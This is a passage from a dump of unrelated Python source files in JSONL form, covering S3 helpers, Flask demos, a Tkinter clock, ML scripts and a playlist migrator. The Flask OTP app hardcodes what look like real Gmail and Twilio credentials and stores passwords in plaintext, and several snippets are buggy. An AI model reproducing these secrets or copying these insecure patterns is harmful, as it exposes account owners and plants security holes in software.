self.client.delete_object(\n                Bucket=self.get_bucket_for_file_key(key), Key=key\n            )\n            return response\n        except ClientError as e:\n            LOGGER.warning(exc=e, key=key)\n            raise\n\n    @staticmethod\n    def get_file_url(key):\n        \"\"\"Returns the S3 link for the file.\n\n        :param key: the key of the file.\n        :return: string: the s3 link for the file\n        \"\"\"\n        return f\"{current_app.config.get('S3_HOSTNAME')}/{S3.get_bucket_for_file_key(key)}/{key}\"\n\n    @staticmethod\n    def get_content_disposition(filename):\n        without_subformat = S3.remove_subformat(filename)\n        return f'inline; filename=\"{secure_filename(without_subformat)}\"'\n\n    @staticmethod\n    def remove_subformat(filename):\n        parts = filename.split(\".\")\n\n        if len(parts) == 0:\n            return filename\n\n        ext = parts.pop()\n        ext_without_subformat = ext.split(\";\")[0]\n        filename = \".\".join(parts)\n\n        return f\"{filename}.{ext_without_subformat}\"\n\n    def replace_file_metadata(self, key, filename, mimetype, acl):\n        \"\"\"Updates the metadata of the given file.\n\n        :param key: the file key.\n        :param filename: the new filename.\n        :param mimetype: the new mimetype.\n        :param acl: the new access control list for the file.\n        :return: dict\n        \"\"\"\n        try:\n            response = self.client.copy_object(\n                ACL=acl,\n                Bucket=self.get_bucket_for_file_key(key),\n                Key=key,\n                CopySource={\"Bucket\": self.get_bucket_for_file_key(key), \"Key\": key},\n                ContentDisposition=self.get_content_disposition(filename),\n                ContentType=mimetype,\n                MetadataDirective=\"REPLACE\",\n            )\n            return response\n        except ClientError as e:\n            LOGGER.warning(exc=e, key=key)\n            raise\n\n    def get_file_metadata(self, key):\n        \"\"\"Returns the metadata of the file.\n\n        :param key: the key of the file.\n        :return: the metadata of the file.\n        \"\"\"\n        try:\n            object_head = self.client.head_object(\n                Bucket=self.get_bucket_for_file_key(key), Key=key\n            )\n            return object_head\n        except ClientError as e:\n            LOGGER.warning(exc=e, key=key)\n            raise\n\n    def file_exists(self, key):\n        \"\"\"Checks if the file is already in S3.\n\n        :param key: the key of the file.\n        :return: boolean\n        \"\"\"\n        try:\n            self.client.head_object(Bucket=self.get_bucket_for_file_key(key), Key=key)\n            return True\n        except ClientError as e:\n            if e.response[\"Error\"][\"Code\"] == \"404\":\n                return False\n            else:\n                LOGGER.warning(exc=e, key=key)\n                raise\n\n    def create_bucket(self, bucket):\n        return self.client.create_bucket(\n            Bucket=self.get_prefixed_bucket(bucket),\n            ACL=current_app.config.get(\"S3_FILE_ACL\"),\n        )\n","sub_path":"backend/inspirehep/files/api/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":5521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"327043367","text":"import sys                                                                                                              # load frequency file\nfd = open('freq.txt')\n\nc = sys.stdin.read()\n# read standard input line by line\nline = sys.stdin.readline()\nwhile line:\n    print(line)\n    line = sys.stdin.readline()\n\n# tokenizing the text using split and making it variable c\nline.split(' ')\n# attempting to see if it exists or not and printing accordingly\n# the idea here is to check the file for the words, then\n\nif c not in 'fd':\n        print(*c)\nif c in 'fd':\n        print(c)\n","sub_path":"spellchecker.py","file_name":"spellchecker.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"304265396","text":"from random import randint\n\nfrom flask import Flask, session, redirect, url_for, escape, request\n\napp = Flask(__name__)\n\napp.secret_key = b'_5#y2L\"F4Q8z\\n\\xec]/'\n\n\n@app.route('/')\ndef index():\n    if 'username' in session:\n        return 'Logged in as %s' % escape(session['username'])\n    return 'You are not logged in'\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        session['username'] = request.form['username']\n        return redirect(url_for('index'))\n    return '''\n        <form method=\"post\">\n            <p><input type=text name=username>\n            <p><input type=submit value=Login>\n        </form>\n    '''\n\n@app.route('/logout')\ndef logout():\n    session.pop('username', None)\n    session.pop('store', None)\n    return redirect(url_for('index'))\n\n\n@app.route('/random')\ndef random():\n    if 'username' in session:\n        temp = str(randint(0, 1000))\n        if 'store' in session:\n            session['username' + 'store'].append(temp)\n            session.modified = True\n        else:\n            session['store'] = [temp]\n        return temp\n    return 'You are not logged in'\n\n\n@app.route('/history')\ndef history():\n    if 'username' in session:\n        out = session['store']\n        return \"\\n\".join(out)\n    return 'You are not logged in'\n\n\nif __name__ == '__main__':\n    app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"259636921","text":"# ! /usr/bin/env python\n# -*- coding: latin_1 -*-\n\nimport pandas as pd\nimport numpy as np\n\ndef clean(series):\n\tfor i in range(len(series)):\n\t\tif (not np.isnan(series[i])) and (series[i] > 1000):\n\t\t\tseries[i] /= 1000\n\n\treturn series\n\n\ndata = pd.read_csv(\"data_user_2.csv\", delimiter=\",\", encoding = \"latin_1\")\ndata.info()\ndata[\"longitude\"] = clean(data[\"longitude\"])\ndata[\"latitude\"] = clean(data[\"latitude\"])\ndata.to_csv(\"data_user_3.csv\", sep=\",\", encoding = \"latin_1\", index = False)","sub_path":"Celine/data/cleanData.py","file_name":"cleanData.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"257162490","text":"import numpy as np\nimport matplotlib.pyplot as plt\nplt.rcParams['figure.figsize'] = [16,12]\nplt.rcParams.update({'font.size':18})\n\n# create a signal with two frequencies\n\ndt = 0.001\nt = np.arange(0,1,dt)\nf = np.sin(2*np.pi*50*t) + np.sin(2*np.pi*120*t)\n# sum of two frequencies\nf_clean = f\nf = f + 2.5*np.random.randn(len(t))\nplt.plot(t,f,color='c',LineWidth=1.5,label = \"noisy\")\nplt.plot(t,f_clean,color='k',LineWidth=2,label=\"clean\")\nplt.xlim(t[0],t[-1])\nplt.legend()\n\n\nn = len(t)\n# compute the fast fourier transform\nfhat = np.fft.fft(f,n)\n# power spectrum (power per f)\nPSD = fhat * np.conj(fhat)/n\n# create x-axis or frequencies\nfreq= (1/(dt*n))* np.arange(n)\n# only plot the first half\nL = np.arange(1,np.floor(n/2),dtype='int')\n\nfig,axs = plt.subplots(2,1)\nplt.sca(axs[0])\nplt.plot(t,f,color='c',LineWidth=1.5,label = \"noisy\")\nplt.plot(t,f_clean,color='k',LineWidth=2,label=\"clean\")\nplt.xlim(t[0],t[-1])\nplt.legend()\n","sub_path":"Plots/DeNoiseDataWithFastFourierTrasfom.py","file_name":"DeNoiseDataWithFastFourierTrasfom.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"155711516","text":"from tkinter import *\nfrom tkinter import ttk\nimport sqlite3\n#from tkcalendar import *\nimport datetime \nimport time\n\n#create window\nroot = Tk()\nroot.title('UTPM Tracker Verson 1 Alpha')\n#root.iconbitmap('favicon.ico')\np1 = PhotoImage(file = 'Verizon-logo.png')\nroot.iconphoto(False, p1)\n\ntry:\n    root.attributes('-zoomed', True)  #Linux\nexcept Error:\n    root.state('zoomed')  #windows\n\ndef menu_command():\n    pass\n\ndef mycomboclick(event):\n    global myCombo\n    if myCombo.get() == 'Central':\n            myCombo = ttk.Combobox(my_frame1, value=Central)\n            myCombo.current(0)\n            myCombo.bind(\"<<ComboboxSelected>>\", mycomboclick)\n            myCombo.grid(row=3, column=3)\n    elif myCombo.get() == 'NorthCentral':\n            myCombo = ttk.Combobox(my_frame1, value=NorthCentral)\n            myCombo.current(0)\n            myCombo.bind(\"<<ComboboxSelected>>\", mycomboclick)\n            myCombo.grid(row=3, column=3)\n    elif myCombo.get() == 'SouthEast':\n            myCombo = ttk.Combobox(my_frame1, value=SouthEast)\n            myCombo.current(0)\n            myCombo.bind(\"<<ComboboxSelected>>\", mycomboclick)\n            myCombo.grid(row=3, column=3)\n    elif myCombo.get() == 'West':\n            myCombo = ttk.Combobox(my_frame1, value=West)\n            myCombo.current(0)\n            myCombo.bind(\"<<ComboboxSelected>>\", mycomboclick)\n            myCombo.grid(row=3, column=3)\n\ndef get_time():\n    hour_min = time.strftime(\"%H:%M\")\n    clock.config(text=hour_min)\n    clock.after(200, get_time)\n\ndef get_second():\n    sec = time.strftime(\"%S\")\n    second.config(text=sec)\n    second.after(200, get_second)\n\n#Menu\nfile_menu = Menu(root)\nroot.config(menu=file_menu)\nf_menu = Menu(file_menu)\nfile_menu.add_cascade(label=\"File\", menu=f_menu)\nf_menu.add_command(label=\"Test...\", command=menu_command)\nf_menu.add_command(label=\"Exit\", command=root.quit)\n\n#Menu tabs\ntabs_menu = Menu(file_menu)\nfile_menu.add_cascade(label=\"Tabs\", menu=tabs_menu)\ntabs_menu.add_command(label=\"Market Info\", command=menu_command)\n\nmy_frame1=Frame(root, width=100, height=300)\nmy_frame1.grid(row=0, column=0)\n#Market Info\nlabel_market_instructions=Label(my_frame1, text=\"Please select your City\")\nlabel_market_instructions.grid(row=2, column=1)\n\n#define dropdown window\nRegions = ['Central', 'NorthCentral', 'Southeast', 'West']\nCentral = ['Albuquerque', 'Austin', 'Colorado Springs', 'Dallas', 'Denver', 'El Paso', 'Houston', 'Kansas City', 'Little Rock', 'New Orleans', 'Oklahoma City', 'Phoenix', 'Salt Lake City', 'San Antonio', 'Shreveport' , 'St Louis']\nNorthCentral = ['Akron', 'Ann Arbor', 'Chicago', 'Cincinnati', 'Cleveland', 'Columbus', 'Des Moines', 'Detroit', 'Grand Rapids', 'Indianapolis', 'Lansing', 'Lexington', 'Louiseville', 'Madison', 'Milwaukee', 'Minneapolis', 'Omaha', 'Youngstown']\nWest = ['Bakerfield', 'Concord', 'Fresno', 'Las Vegas', 'Los Angeles', 'Mission Viejo', 'Portland', 'Reno', 'Riverside', 'Sacremento', 'San Diego', 'San Francisco', 'San Jose', 'Seattle', 'Spokane']\nSouthEast = ['Atlanta', 'Birmingham', 'Charlotte', 'Columbia', 'Durham', 'Greensboro', 'Greenville', 'Jacksonville', 'Knoxville', 'Memphis', 'Nashville', 'Orlando', 'Pensacola', 'Raleigh', 'Tampa', 'Winston Salem']\n\n#Create combobox\nmyCombo = ttk.Combobox(my_frame1, value=Regions)\nmyCombo.current(0)\nmyCombo.bind(\"<<ComboboxSelected>>\", mycomboclick)\nmyCombo.grid(row=3, column=0)\n\n\n#Create Clock in it's own frame\nx = datetime.datetime.now()\nclock_canvas = Frame(root, height=400, width=750)\nclock_canvas.grid(row=30, column=0)\nframe = Canvas(clock_canvas, bg='#696969')\nframe.place(relx=0, rely=0, relheight=1, relwidth=1)\n\n#Displays the 24-hour clock 00:00\nclock = Label(clock_canvas, fg=\"#8FBC8F\", bg='#696969', font=\"Verdana 110\", anchor=\"nw\")\nclock.place(relx=0.05, rely=0.15, relheight=0.6, relwidth=0.7)\n\n#Displays the seconds in clock\nsecond = Label(clock_canvas, fg=\"#8FBC8F\", bg='#696969', font=\"Verdana 30\", anchor=\"nw\")\nsecond.place(relx=0.7, rely=0.55, relheight=0.3, relwidth=0.1)\n\n#Label for month\nmonth = Label(clock_canvas, fg='#BDB76B', bg='#696969', text=\"MONTH\", font=\"Verdana 15\")\nmonth.place(relx=0.790, rely=0.1, relheight=0.15, relwidth=0.2)\n\n#Displays month name, short version (e.g. FEB)\nb = Label(clock_canvas, fg='#8FBC8F', bg='#696969', text=x.strftime(\"%b\"), font=\"Verdana 25 bold\")\nb.place(relx=0.790, rely=0.230, relheight=0.15, relwidth=0.2)\n\n#Label for date\ndate = Label(clock_canvas, fg='#BDB76B', bg='#696969', text=\"DATE\", font=\"Verdana 15\")\ndate.place(relx=0.790, rely=0.380, relheight=0.15, relwidth=0.2)\n\n#Displays day of month\nd = Label(clock_canvas, fg='#8FBC8F', bg='#696969', text=x.strftime(\"%d\"), font=\"Verdana 25 bold\")\nd.place(relx=0.790, rely=0.51, relheight=0.15, relwidth=0.2)\n\n#Label for weekday\nday = Label(clock_canvas, fg='#BDB76B', bg='#696969', text=\"DAY\", font=\"Verdana 15\")\nday.place(relx=0.790, rely=0.650, relheight=0.15, relwidth=0.2)\n\n#Displays weekday, short version (e.g. Wed)\na = Label(clock_canvas, fg='#8FBC8F', bg='#696969', text=x.strftime(\"%a\"), font=\"Verdana 25 bold\")\na.place(relx=0.790, rely=0.77, relheight=0.15, relwidth=0.2)\n\nget_time()\nget_second()\n\n\n\nroot.mainloop()","sub_path":"verizon/Market_v2.py","file_name":"Market_v2.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"405043559","text":"from main import *\nfrom manage import *\nfrom flask_mail import Mail, Message\nimport os\nfrom twilio.rest import Client\nimport random\nfrom datetime import datetime, timedelta\n\napp.config.update(\n        DEBUG=True,\n        MAIL_SERVER='smtp.gmail.com',\n        MAIL_PORT=465,\n        MAIL_USE_SSL=True,\n        MAIL_USERNAME='rajpatel14998@gmail.com',\n        MAIL_PASSWORD='raj333patel'\n    )\nmail = Mail(app)\napp.secret_key = os.environ.get(\"SECRET_KEY\", \"XYZ\")\nnumber = 0\nmobile_number = 0\n\n\ndef send_mail(title, email, html):\n    try:\n        msg = Message(title, sender=(\"DRC System\", \"me@example.com\"), recipients=[email])\n        msg.html = html\n        mail.send(msg)\n        return msg\n    except Exception as e:\n        print(e)\n    return\n\n@app.route('/signup')\ndef signup():\n    return render_template('signup.html')\n\n@app.route('/')\ndef default():\n    return redirect(url_for('signup'))\n\n@app.route('/user_signup', methods = ['POST'])\ndef signup_user():\n    email = request.form['email']\n    mobile = request.form['mobile']\n    name = request.form['name']\n    passwrd = request.form['pwd']\n    if len(str(mobile)) <= 10:\n        return make_response(\"<b>Please Enter valid number</b> Signup: <a href = 'signup'>Signup</a>\")\n    data = User.query.filter_by(phone_number=mobile).all()\n    if data:\n        return make_response(\"<b>Number is already Registered</b> Visit for Login: <a href = 'signin'>Login</a>\")\n    user = User(phone_number=mobile, name=name,\n                        password=passwrd)\n    db.session.add(user)\n    db.session.commit()\n    user_email = User_email(user_id=user.id, email=email)\n    db.session.add(user_email)\n    user_login = User_login(user_id=user.id, session=None)\n    db.session.add(user_login)\n    db.session.commit()\n\n    html = \"Welcome <b>\"+ request.form['name'] + \"</b> in <b>DRC System</b>. You have a successfully created account\"\n    send_mail(\"Welcome\", email, html)\n    session['is_user_login'] = True\n    return make_response(\"<h1>Successfully Registered. You receive one welcome mail. Please visit <a target = '_blank' href = 'https://mail.google.com'>Gmail</a></h1>\")\n\n\n@app.route('/signin')\ndef signin():\n    if \"is_user_login\" in session and session['is_user_login']:\n        return render_template(\"home.html\")\n    return render_template(\"signin.html\")\n\n@app.route('/logout')\ndef logout():\n    session = {}\n    return render_template(\"signin.html\")\n\n\n@app.route(\"/user_signin\", methods = ['POST'])\ndef signin_user():\n    global mobile_number\n    mobile_number = request.form['mobile']\n    data = User.query.filter_by(phone_number=mobile_number).all()\n    if data:\n        user_login = User_login.query.filter_by(user_id=data[0].id).all()\n        print(user_login)\n        if user_login:\n            if datetime.utcnow() < user_login[0].last_login:\n                return make_response(\"<b>You will signin after 5 Minutes </b>\")\n    key = os.environ.get(\"TWILIO_SECRET_KEY\", \"ACfb3a006c0707c3514ea2a5a5c1313235\")\n    token = os.environ.get(\"TWILIO_SECRET_TOKEN\", \"c988bd441e483a9f9c978875614f1b64\")\n    client = Client(key, token)\n    global number\n    number = random.randint(1000, 9999)\n    try:\n        messages = client.messages.create(to=mobile_number,\n                               from_=\"+13237725845\",\n                               body=number)\n    except:\n        return make_response(\"Please Enter correct the number\")\n    return render_template(\"otp.html\", phone_number=mobile_number)\n\n\n@app.route('/user_otp', methods = ['POST'])\ndef user_otp():\n    try:\n        otp_num = int(request.form['mobile'])\n    except:\n        return make_response(\"Please Enter the correct numeric number only\")\n    if \"attempt_time\" in session:\n        session['attempt_time'] += 1\n    else:\n        session['attempt_time'] = 0\n    print('attempt time', session['attempt_time'])\n    if session['attempt_time'] >= 3:\n        now = datetime.utcnow()\n        next_login_time = now + timedelta(minutes=5)\n        print(now)\n        print(next_login_time)\n        print(mobile_number)\n        find_user = User.query.filter_by(phone_number=mobile_number).all()\n        print(\"user found \", find_user)\n        print(\"session is \", session)\n        print(find_user[0].id)\n        if find_user:\n            # obj = User_login(user_id=find_user[0].id, session=int(session['user_number']),\n            #            last_login=next_login_time)\n            # db.session.update(obj)\n            obj = User_login.query.filter_by(user_id=find_user[0].id).all()\n            print('obj is ', obj)\n            obj[0].last_login = next_login_time\n            db.session.commit()\n        session['attempt_time'] = 0\n        return make_response(\"<h4>You will be blocked for 5 minutes</h4> <a href = '/signin'>Login</a>\")\n    else:\n        if otp_num == number:\n            session['is_user_login'] = True\n            return render_template(\"home.html\")\n        return render_template('otp.html')\n","sub_path":"Test/route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"436464780","text":"#!/usr/bin/python\n#\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Main function for local evaluation.\"\"\"\n\nimport os\n\nfrom absl import app\nfrom absl import flags\nimport gin.tf\n\nfrom google3.vr.perception.volume_compression.mdif import train_eval_lib\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_enum('mode', None, ['cpu', 'gpu'],\n                  'Distributed strategy approach.')\nflags.DEFINE_string('base_folder', None, 'Path to checkpoints/summaries.')\nflags.DEFINE_string('job_name', '', 'Name of the job.')\nflags.DEFINE_multi_string('gin_bindings', None, 'Gin parameter bindings.')\nflags.DEFINE_multi_string('gin_configs', None, 'Gin config files.')\n\n\ndef main(argv):\n  del argv  # Unused.\n\n  gin.parse_config_files_and_bindings(\n      config_files=FLAGS.gin_configs,\n      bindings=FLAGS.gin_bindings,\n      skip_unknown=True)\n\n  base_folder = FLAGS.base_folder\n  train_base_folder = os.path.join(base_folder, 'train')\n  eval_base_folder = os.path.join(base_folder, FLAGS.job_name)\n\n  train_eval_lib.eval_pipeline(\n      eval_mode=FLAGS.mode,\n      data_sources=gin.REQUIRED,\n      eval_data_filter=gin.REQUIRED,\n      train_base_folder=train_base_folder,\n      eval_base_folder=eval_base_folder,\n      batch_size=gin.REQUIRED,\n      eval_name=FLAGS.job_name,\n      optim_mode=gin.REQUIRED,\n      n_iterations_per_batch=gin.REQUIRED,\n      learning_rate=gin.REQUIRED,\n      data_sources_type=gin.REQUIRED,\n      save_mode_sdf_grid=gin.REQUIRED)\n\n\nif __name__ == '__main__':\n  app.run(main)\n","sub_path":"eval_main_local.py","file_name":"eval_main_local.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"542258968","text":"import os\n\nfrom django.db import models\nfrom django.utils.timezone import now\nfrom storages.backends.s3boto import S3BotoStorage\nfrom foia_hub.settings.production import AWS_STORAGE_DOC_BUCKET\n\n\ndef upload_original_to(instance, filename):\n    \"\"\" Return the path this file should be stored at. \"\"\"\n\n    filename_base, filename_ext = os.path.splitext(filename)\n    filename_ext = filename_ext.lower()\n\n    origin_path = instance.release_agency_slug\n    if '--' in instance.release_agency_slug:\n        agency_slug, office_slug = instance.release_agency_slug.split('--')\n        origin_path = '%s/%s' % (agency_slug, office_slug)\n\n    right_now = now().strftime(\"%Y%m%d%H%M\")\n\n    upload_path = '%s/%s/%s%s' % (\n        origin_path, right_now, filename_base, filename_ext)\n    return upload_path\n\n\nclass Document(models.Model):\n    \"\"\"\n    A model representing a document from an agency. It also uploads documents\n    to a different bucket than the static files by setting a specific bucket\n    `storage=S3BotoStorage(bucket=AWS_STORAGE_DOC_BUCKET)`\n    \"\"\"\n\n    text = models.TextField(\n        null=False, help_text='The full text of the document')\n    title = models.TextField(null=True)\n    date_created = models.DateField(\n        blank=True, null=True,\n        help_text='Date the document was created by agency')\n    date_released = models.DateField(\n        blank=True, null=True,\n        help_text='Date the document was released by agency')\n    pages = models.IntegerField(\n        blank=True, null=True, help_text='Number of pages in the document')\n    file_type = models.CharField(\n        max_length=4, help_text='File type stored in lower case ie pdf, xlsx')\n    release_agency_slug = models.CharField(\n        max_length=100,\n        help_text=\"Slug for the agency or office that released this document.\")\n\n    if os.getenv(\"DJANGO_SETTINGS_MODULE\") == 'foia_hub.settings.production':\n        original_file = models.FileField(\n            upload_to=upload_original_to, blank=True, null=True,\n            storage=S3BotoStorage(bucket=AWS_STORAGE_DOC_BUCKET))\n    else:\n        original_file = models.FileField(\n            upload_to=upload_original_to, blank=True, null=True)\n\n    def get_absolute_url(self):\n        \"\"\" Return the canonical URL for a Document object. \"\"\"\n\n        return '/documents/document/%i' % self.id\n","sub_path":"docusearch/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"345184589","text":"# SJTU EE208\n\nimport time\n\nimport numpy as np\nimport torch\n\nfrom utilities import readAndPreprocessImage, normalize\nfrom torchvision.datasets.folder import default_loader\n\nprint('Load model: ResNet50')\nmodel = torch.hub.load('pytorch/vision', 'resnet50', pretrained=True)\n\nprint('Prepare image data!')\n\ninput_images = [readAndPreprocessImage(f'../dataset/{i}.jpg') for i in range(1005)]\n\ndef features(x):\n    x = model.conv1(x)\n    x = model.bn1(x)\n    x = model.relu(x)\n    x = model.maxpool(x)\n    x = model.layer1(x)\n    x = model.layer2(x)\n    x = model.layer3(x)\n    x = model.layer4(x)\n    x = model.avgpool(x)\n\n    return x\n\nall_features = np.zeros((1005, 2048))\n\nfor i, input_image in enumerate(input_images):\n    print(f'Extract features: {i+1}/{len(input_images)}')\n    image_feature = features(input_image)\n    image_feature = image_feature.detach().numpy().reshape(-1)\n    all_features[i] = normalize(image_feature)\n    if i % 100 == 0:\n        print('Save features!')\n        np.save(f'features_{i}.npy', all_features)\n\nnp.save(f'features_final.npy', all_features)","sub_path":"lab14/code/extract_feature.py","file_name":"extract_feature.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"408966386","text":"import gmusicapi\nimport spotipy\nimport spotipy.oauth2\nimport spotipy.util\nfrom ytmusicapi import YTMusic\nimport requests\nimport re\nimport os\nimport string\nimport json\n\n#CONSTANTS\nSCOPE = \"user-library-read playlist-modify-public playlist-read-collaborative playlist-read-private playlist-modify-private\"\nURL_REGEX_PATTERN = \"^(https://open.spotify.com/playlist/).+$\"\n\n#Fill these in!\nSPOTIPY_CLIENT_ID = \"XXXX\"\nSPOTIPY_CLIENT_SECRET = \"XXXX\"\nSPOTIPY_REDIRECT_URI = \"http://localhost/\"\nUSERNAME = \"user\"\nANDROID_MAC_ADDRESS = \"XXXX\"\n\n#Authenticates Spotify and Google Play Music\ntoken = spotipy.util.prompt_for_user_token(USERNAME, SCOPE, client_id=SPOTIPY_CLIENT_ID, client_secret=SPOTIPY_CLIENT_SECRET, redirect_uri=SPOTIPY_REDIRECT_URI)\napi = gmusicapi.Mobileclient()\nheaders = YTMusic.setup(filepath=\"headers_auth.json\", headers_raw=\"\"\"HEADERS\"\"\")\n\nytmusic = YTMusic(headers)\n\n#Checks for existing Google Play credentials, using them if found or creating them otherwise\nif not(os.path.exists(\"creds\") and os.path.isfile(\"creds\")):\n    result = api.perform_oauth(\"creds\", True)\nelse:\n    result = api.oauth_login(oauth_credentials=\"creds\", device_id=ANDROID_MAC_ADDRESS)\n\nif not result:\n    print(\"Google Play authentication error.\")\n    quit()\n\n#FUNCTIONS\n\ndef extractSpotifyIDFromURL(url):\n    return url.split(\"https://open.spotify.com/playlist/\")[1]\n\n#Checks for a matching (close enough) title between two strings - e.g. a track name\ndef matchTitle(string1, string2):\n    #Try lowercase matching\n    string1 = string1.lower()\n    string2 = string2.lower()\n\n    if string1 == string2:\n        return True\n    #Check for extended title\n    if string1 in string2 or string2 in string1:\n        return True\n\n    #Try removing punctuation\n    string1 = string1.translate(str.maketrans(dict.fromkeys(string.punctuation)))\n    string2 = string2.translate(str.maketrans(dict.fromkeys(string.punctuation)))\n\n    if string1 == string2:\n        return True\n    if string1 in string2 or string2 in string1:\n        return True\n\n    #Try removing whitespace\n    string1 = ''.join(string1.split())\n    string2 = ''.join(string2.split())\n\n    if string1 == string2:\n        return True\n    if string1 in string2 or string2 in string1:\n        return True\n\n    return False #no match\n\n#Checks for a matching track on Spotify, checking for variations in metadata\ndef findTrackOnSpotify(album, artist, track):\n    albumName = album.lower()\n    artistName = artist.lower()\n    trackName = track.lower()\n\n    #Basic lowercase search\n    query = \"album:\" + albumName + \" artist:\" + artistName + \" track:\" + trackName\n\n    #Query Spotify\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results: #If matches were found\n        return results\n\n    #Strips content in ()\n    albumName = re.sub(r\" ?\\([^)]+\\)\", \"\", albumName)\n    artistName = re.sub(r\" ?\\([^)]+\\)\", \"\", artistName)\n    trackName = re.sub(r\" ?\\([^)]+\\)\", \"\", trackName)\n    query = \"album:\" + albumName + \" artist:\" + artistName + \" track:\" + trackName\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Strips content in []\n    albumName = re.sub(r\" ?\\[[^\\]]+\\]\", \"\", albumName)\n    artistName = re.sub(r\" ?\\[[^\\]]+\\]\", \"\", artistName)\n    trackName = re.sub(r\" ?\\[[^\\]]+\\]\", \"\", trackName)\n    query = \"album:\" + albumName + \" artist:\" + artistName + \" track:\" + trackName\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Strips content after : character\n    albumName = re.sub(r\" ?\\:[^:]+\", \"\", albumName)\n    artistName = re.sub(r\" ?\\:[^:]+\", \"\", artistName)\n    trackName = re.sub(r\" ?\\:[^:]+\", \"\", trackName)\n    query = \"album:\" + albumName + \" artist:\" + artistName + \" track:\" + trackName\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Removes punctuation\n    albumName = albumName.translate(str.maketrans(dict.fromkeys(string.punctuation)))\n    artistName = artistName.translate(str.maketrans(dict.fromkeys(string.punctuation)))\n    trackName = trackName.translate(str.maketrans(dict.fromkeys(string.punctuation)))\n    query = \"album:\" + albumName + \" artist:\" + artistName + \" track:\" + trackName\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Check if only album and track match\n    query = \"album:\" + album + \" track:\" + track\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Check if only artist and track match\n    query = \"artist:\" + artistName + \" track:\" + trackName\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if results:\n        return results\n\n    #Check if only 1 track with that title exists\n    query = \"track:\" + track\n\n    results = (spotify.search(query))[\"tracks\"][\"items\"]\n    if len(results) == 1:\n        return results\n\n    return False #No match found\n\n#Gets playlist (owned by the user) object from a Spotify URL\n#def findOwnedSpotifyPlaylist(url):\n    # targetPlaylist = None\n    # playlistID = extractSpotifyIDFromURL(url)\n    # print(playlistID)\n\n    # #Gets all playlists for user\n    # playlists = spotify.user_playlists(USERNAME)\n\n    # #Iterate through all playlists to find one with matching ID\n    # for playlist in playlists[\"items\"]:\n    #     if playlist[\"owner\"][\"id\"] == USERNAME:\n    #         if playlist[\"id\"] == playlistID:\n    #             targetPlaylist = playlist\n    #             print(targetPlaylist[\"name\"] + \" - \" + targetPlaylist[\"id\"])\n\n    # return targetPlaylist\n\n#Gets playlist object from a Spotify URL\ndef findSpotifyPlaylist(url):\n    targetPlaylist = None\n    playlistID = extractSpotifyIDFromURL(url)\n\n    #Authorises Spotify Web API (Python library doesn't support playlists not owned by user)\n    auth = spotipy.oauth2.SpotifyClientCredentials(SPOTIPY_CLIENT_ID, SPOTIPY_CLIENT_SECRET)\n    token = auth.get_access_token()\n    headers = {\"Authorization\": \"Bearer \"+token}\n\n    #Get playlist object with the ID from the passed playlist\n    response = requests.get(\"https://api.spotify.com/v1/playlists/\"+playlistID, headers=headers)\n    \n    if response.status_code == 200: #success\n        targetPlaylist = response.json() #extracts JSON object\n        return targetPlaylist\n    else:\n        return None\n\n#Gets playlist object from a Google Play Music playlist name\ndef findGooglePlaylist(playlistName):\n    targetPlaylist = None\n\n    #Gets contents of all playlists (library doesn't support getting specific playlist)\n    allPlaylists = api.get_all_user_playlist_contents()\n    for playlist in allPlaylists:\n        #Find (first) playlist with matching name\n        if playlist[\"name\"] == playlistName:\n            targetPlaylist = playlist\n            break\n    return targetPlaylist\n\ndef findYtPlaylist(playlistName):\n    targetPlaylist = None\n\n    targetId = None\n    allPlaylists = ytmusic.get_library_playlists(200)\n    for playlist in allPlaylists:\n        #Find (first) playlist with matching name\n        if playlist[\"title\"] == playlistName:\n            targetId = playlist[\"playlistId\"]\n            break\n\n    if targetId:\n        playlist = ytmusic.get_playlist(targetId, 5000)\n        return playlist\n\n    return targetPlaylist\n\n#Request input for (Spotify) playlist URL and validate it\ndef acceptPlaylistURL():\n    while True: #loop until valid (at which point simply return)\n        playlistURL = input(\"Please enter the URL of the playlist: \")\n        if 